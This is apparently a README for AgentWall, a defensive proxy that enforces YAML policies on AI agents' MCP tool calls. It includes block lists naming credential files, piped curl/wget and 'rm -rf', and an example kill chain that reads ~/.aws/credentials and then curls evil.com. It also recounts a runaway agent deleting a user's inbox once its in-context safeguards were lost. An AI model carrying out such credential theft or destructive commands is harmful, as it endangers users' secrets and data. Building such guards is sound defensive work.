Agentwall

AgentWall

Your AI agent has root access. This blocks it.

agentwall.dev · Paper (arXiv:2605.16265) · Security writeup

[](https://www.npmjs.com/package/@agentwall/agentwall) [](https://agentwall.dev) [](https://arxiv.org/abs/2605.16265) [](LICENSE) [](https://nodejs.org) [](https://github.com/agentwall/agentwall) [](https://github.com/agentwall/agentwall/commits)

npx @agentwall/agentwall setup

---

Claude said always allow. OpenClaw said always allow. AgentWall blocked it anyway.

18:14:47   mcp        DENY    policy   list_directory         ← BLOCKED despite Claude "Always allow"
18:14:51   openclaw   DENY    policy   exec                   ← BLOCKED despite OpenClaw approval
18:15:03   openclaw   DENY    policy   exec   gog gmail trash ← BLOCKED (inbox deletion prevented)

Your YAML policy is the final word. Not the client. Not the model. You.

> Why this works when built-in safety fails: AgentWall runs outside the model's context window. Context compaction, prompt injection, or a compromised tool cannot touch your policy file.

---

> ⚠️ In February 2026, a runaway OpenClaw agent sent 142 gog gmail trash calls and deleted a user's entire inbox. The safety prompts built into Claude Desktop and OpenClaw run inside the model's context window. Context compaction can wipe them out entirely. AgentWall would have blocked it at call #1.

> 📖 Writeup: Your AI agent can read every credential on your machine

> 📄 Paper: AgentWall: A Runtime Safety Layer for Local AI Agents (arXiv:2605.16265) — threat model, policy model, and benchmarks (92.9% enforcement accuracy, sub-ms overhead). [BibTeX](#citation) below.

---

Contents

• [Features](#features)
• [Install](#install)
• [Quick start](#quick-start)
• [Supported clients](#supported-clients)
• [Web UI](#web-ui)
• [OpenClaw](#openclaw)
• [Policy](#policy)
• [Rate limiting](#rate-limiting)
• [Taint tracking](#taint-tracking)
• [Audit log](#audit-log)
• [Commands](#commands)
• [How it works](#how-it-works)
• [What AgentWall protects against](#what-agentwall-protects-against)
• [What AgentWall does not protect against](#what-agentwall-does-not-protect-against)
• [OWASP Agentic AI Top 10 coverage](#owasp-agentic-ai-top-10-coverage)
• [Citation](#citation)

---

Features

• Works everywhere. Claude Desktop, Cursor, Windsurf, Claude Code, OpenClaw, any MCP client
• Taint tracking. Detects credential reads and blocks subsequent outbound network calls, stopping multi-step exfiltration before it completes
• YAML policy engine. Deny, allow, ask with glob matching, SQL content matching, path rules
• One command install. npx @agentwall/agentwall setup auto-detects and wraps all your MCP servers
• Browser approval UI. Approve or deny tool calls from your browser; works in GUI clients with no terminal
• Independent audit log. Ground truth record of every tool call, regardless of what the model claims it did
• Hot-reload. Edit ~/.agentwall/policy.yaml and changes apply instantly, no restart needed
• Rate limiting. Cap tool calls per minute to catch runaway agent loops before they cause damage
• Inbox deletion prevention. Blocks gog gmail trash/delete commands and rate-limits bulk Gmail operations; would have stopped the February 2026 OpenClaw incident at call #1
• Fully reversible. agentwall undo restores all original configs in one command
• Policy library. Community policies for gog, GitHub, 1Password, messaging, and more at agentwall-registry

---

Install

npx @agentwall/agentwall setup

AgentWall detects Claude Desktop, Cursor, Windsurf, Claude Code, and OpenClaw. Wraps every MCP server automatically. Backs up your originals. Zero JSON editing.

# Or install globally
npm install -g @agentwall/agentwall
agentwall setup

Requires Node.js >= 22.

To verify protection is active:

agentwall status
# AgentWall v0.9.1
# Protected: Claude Desktop (3 servers) · Cursor (1 server) · OpenClaw
# Policy: ~/.agentwall/policy.yaml
# Decisions today: 47 allowed · 0 blocked · 2 approved

---

Quick start

# 1. Install and wrap your MCP servers
npx @agentwall/agentwall setup

# 2. Create a default policy (protects credentials, database, shell)
agentwall init

# 3. Start the web UI first (it owns port 7823)
agentwall ui
# → http://localhost:7823

# 4. Start OpenClaw gateway (if using OpenClaw)
openclaw gateway
# Detects AgentWall on port 7823 and routes approvals to the browser

# 5. Open your AI client (Claude Desktop, Cursor, etc.)
# MCP proxies spawn automatically and connect to the same UI

> ⚠️ Boot order matters. Start agentwall ui before the OpenClaw gateway and before opening AI clients. The gateway and MCP proxies detect the UI on startup and route approval requests to it. If the UI isn't running yet, they fall back to terminal prompts.

---

Supported clients

| Client | Approval method | Integration | |---|---|---| | Claude Desktop | Browser UI at localhost:7823 | MCP proxy | | Cursor | Browser UI at localhost:7823 | MCP proxy | | Windsurf | Browser UI at localhost:7823 | MCP proxy | | Claude Code | Terminal y/n/a prompt | MCP proxy | | OpenClaw | Terminal y/n/a prompt | Native plugin | | Any MCP client | Browser UI or terminal | MCP proxy |

GUI clients (Cursor, Claude Desktop, Windsurf) have no terminal. Approval requests appear in your browser at http://localhost:7823. Auto-denies after 30 seconds if no response.

Terminal clients (Claude Code, OpenClaw) get an inline y/n/a prompt. Press a to always allow an operation for the rest of the session.

---

Web UI

agentwall ui    # → http://localhost:7823

Approval /: approve or deny tool calls from your browser in real time. Auto-denies after 30 seconds.

Policy editor /policy: edit rules visually or in raw YAML. Both modes edit the same file. Changes apply instantly.

Log viewer /log: searchable view of everything your agent has done. Filter by runtime, decision, tool name, date.

Clients /clients: see every supported client on your machine, which MCP servers are protected, and wrap new servers with one click.

The web UI is localhost-only. No auth. No external connections.

---

OpenClaw

AgentWall includes a native OpenClaw plugin that hooks into before_tool_call, intercepting exec, read, write, edit, apply_patch, and process before they execute.

# From a clone of this repo (directory that contains openclaw.plugin.json)
openclaw plugins install agentwall --link

The plugin runs independently of the MCP proxy. Both can run simultaneously, logging every decision to the same audit file regardless of which runtime triggered it.

If you use gog for Gmail access, add email protection rules to your policy. See [Prevent inbox deletion (gog)](#prevent-inbox-deletion-gog) below.

---

Policy

AgentWall evaluates rules in order: deny → allow → ask. Unmatched calls default to ask. Unknown calls are never silently allowed.

agentwall init    # creates ~/.agentwall/policy.yaml with sensible defaults

Rule fields

| Field | Description | Example | |---|---|---| | command | Shell command glob | "rm -rf *" | | path | File path glob | ~/.ssh/** | | tool | MCP tool name glob | "write_file" | | match | Argument content glob (case-insensitive) | sql: "drop *" | | url | URL pattern | "*.competitor.com/*" |

Glob patterns: * matches any characters except /. ** matches everything including /. All fields in a rule use AND logic.

Special path value: outside:workspace matches any path outside the current working directory.

Protect your database

deny:
  - tool: "*"
    match:
      sql: "drop *"
  - tool: "*"
    match:
      sql: "truncate *"

ask:
  - tool: "*"
    match:
      sql: "delete *"
  - tool: "*"
    match:
      sql: "alter *"

DROP and TRUNCATE blocked silently. DELETE and ALTER prompt for approval. Everything else runs normally. SQL matching is case-insensitive.

Prevent inbox deletion (gog)

OpenClaw uses the gog CLI to access Gmail. Since gog runs as a shell process, AgentWall's native plugin intercepts it via exec before it touches your inbox.

In February 2026, a runaway OpenClaw agent sent 142 gog gmail trash calls and deleted a user's entire inbox before they could intervene. This is the policy that would have stopped it at call #1. The agent's own guardrails didn't. They ran inside the context window, which the agent had already overwritten.

deny:
  # Email — never trash or delete without explicit approval
  - tool: exec
    match:
      command: "gog gmail trash*"
  - tool: exec
    match:
      command: "gog gmail delete*"
  - tool: exec
    match:
      command: "gog gmail batchDelete*"

ask:
  # Email — confirm any inbox modification
  - tool: exec
    match:
      command: "gog gmail modify*"
  - tool: exec
    match:
      command: "gog gmail archive*"

limits:
  - tool: exec
    match:
      command: "gog gmail*"
    max: 10
    window: 60    # max 10 Gmail operations per minute (a loop of 142 never completes)

Deletion rules are denied silently. Archive and modify prompt for approval. The rate limit catches runaway bulk operations even if a rule is missed.

Why this works when OpenClaw's own guardrails failed: the policy lives in ~/.agentwall/policy.yaml, outside the model's context window. Context compaction that wipes the model's safety instructions leaves this file untouched.

See the incident writeup for the full timeline. For a technical deep-dive into how credential exfiltration works and how AgentWall stops it, read: Your AI agent can read every credential on your machine

Full default policy

deny:
  # Credentials — never access
  - path: ~/.ssh/**
  - path: ~/.aws/**
  - path: ~/.gnupg/**

  # Shell config — prevent persistence/backdoor
  - path: ~/.bashrc
  - path: ~/.zshrc

  # Shell — never pipe from internet
  - command: "curl * | *"
  - command: "wget * | *"

  # Database — never drop or truncate
  - tool: "*"
    match:
      sql: "drop *"
  - tool: "*"
    match:
      sql: "truncate *"

ask:
  # Shell — confirm destructive commands
  - command: "rm -rf *"
  - command: "sudo *"
  - command: "dd *"

  # Git — confirm pushes to main
  - tool: exec
    match:
      command: "git push*main*"

  # Database — confirm writes
  - tool: "*"
    match:
      sql: "delete *"
  - tool: "*"
    match:
      sql: "alter *"

  # Files outside workspace
  - tool: "*"
    path: outside:workspace

allow:
  # Everything inside workspace is trusted
  - path: workspace/**

limits:
  - tool: exec
    max: 30
    window: 60    # max 30 shell commands per minute

allowed_hosts:
  - api.anthropic.com
  - api.openai.com
  - github.com
  - registry.npmjs.org
  - pypi.org

---

Rate limiting

Cap how many times an agent can call a tool per session window. Catches runaway loops before they cause damage.

limits:
  - tool: exec
    max: 10
    window: 60      # max 10 shell commands per minute
  - tool: "*"
    max: 200
    window: 300     # max 200 total tool calls per 5 minutes

When the limit is approached (90%), AgentWall fires a macOS notification. When it hits, the agent receives a message it can read:

AgentWall: exec rate limit reached (10/60s). Wait 43 seconds.

---

Taint tracking

AgentWall tracks multi-step exfiltration attacks across tool calls within a session. When a tool call reads a sensitive file (credentials, SSH keys, env vars), the session is marked as tainted. Any subsequent outbound network call to a host not on the allowlist is automatically blocked, regardless of individual policy rules.

The kill chain this detects:

Tool call reads ~/.aws/credentials   →   session marked TAINTED
Tool call runs curl https://evil.com →   BLOCKED (taint violation)

Taint is triggered by:

• Reading sensitive files: ~/.ssh/, ~/.aws/credentials, ~/.kube/config, ~/.gnupg/, .env, SSH keys
• Sensitive database queries: information_schema, pg_catalog, mysql.user
• Commands that access process.env, os.environ, or sensitive env vars

Configure which hosts are allowed even when tainted:

allowed_hosts:
  - api.anthropic.com
  - api.openai.com
  - github.com
  - registry.npmjs.org
  - pypi.org

Taint state is visible in agentwall status, the web UI (warning banner), and agentwall replay (highlighted in magenta). Taint resets automatically when a new session starts.

---

Hot-reload

Edit ~/.agentwall/policy.yaml and changes apply instantly across all running proxies and plugins. No restart of Claude Desktop, Cursor, or the gateway.

[AgentWall] Policy reloaded: ~/.agentwall/policy.yaml

---

Audit log

Every decision is logged independently of what the model claims it did.

| Log file | Written by | Contents | |---|---|---| | ~/.agentwall/session-YYYY-MM-DD.jsonl | MCP proxy | Tool calls intercepted via proxy | | ~/.agentwall/decisions.jsonl | OpenClaw plugin | Tool calls intercepted via native plugin |

The web UI log viewer merges both files automatically.

agentwall replay          # color-coded table of today's decisions
agentwall replay 20       # last 20 entries
agentwall clear-logs      # remove all log files and start fresh

> If the model reports it only read one file but AgentWall logged 47 reads, the log is right.

---

Commands

agentwall setup [--dry-run]          Auto-detect and wrap all MCP configs
agentwall undo                       Restore all original MCP configs from backup
agentwall proxy --  [args]      Wrap a single MCP server
agentwall ui [--port 7823]           Start the web UI
agentwall init                       Create default policy at ~/.agentwall/policy.yaml
agentwall status                     Show protection status and today's decision counts
agentwall replay [N]                 Show recent audit log entries (color-coded)
agentwall clear-logs                 Remove all log files
agentwall --version                  Print version

---

How it works

AgentWall sits between your AI client and every MCP server it spawns.

AI Client  ←→  AgentWall Proxy  ←→  Real MCP Server
                     |
               policy.yaml          ← your rules
               taint tracker        ← cross-call exfiltration detection
               audit log            ← independent record
               approval UI          ← localhost:7823

The client never knows AgentWall is there. The real server never knows it is being proxied. agentwall setup makes the config change automatically:

Before:
{
  "mcpServers": {
    "filesystem": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-filesystem", "~"]
    }
  }
}

After:
{
  "mcpServers": {
    "filesystem": {
      "command": "agentwall",
      "args": ["proxy", "--", "npx", "-y", "@modelcontextprotocol/server-filesystem", "~"]
    }
  }
}

---

What AgentWall protects against

• Accidental destruction: rm -rf, DROP TABLE, TRUNCATE
• Credential access: ~/.ssh, ~/.aws, ~/.gnupg
• Shell config modification: ~/.bashrc, ~/.zshrc (persistence/backdoor)
• Operations outside your workspace
• Destructive git operations: force push, pus

…

Source & license

This open-source MCP server is cataloged on AgentStack and links to its original source — we do not rehost the code.

• Author: agentwall
• Source: agentwall/agentwall
• License: Apache-2.0
• Homepage: https://agentwall.dev/

Install and usage instructions live in the source repository linked above.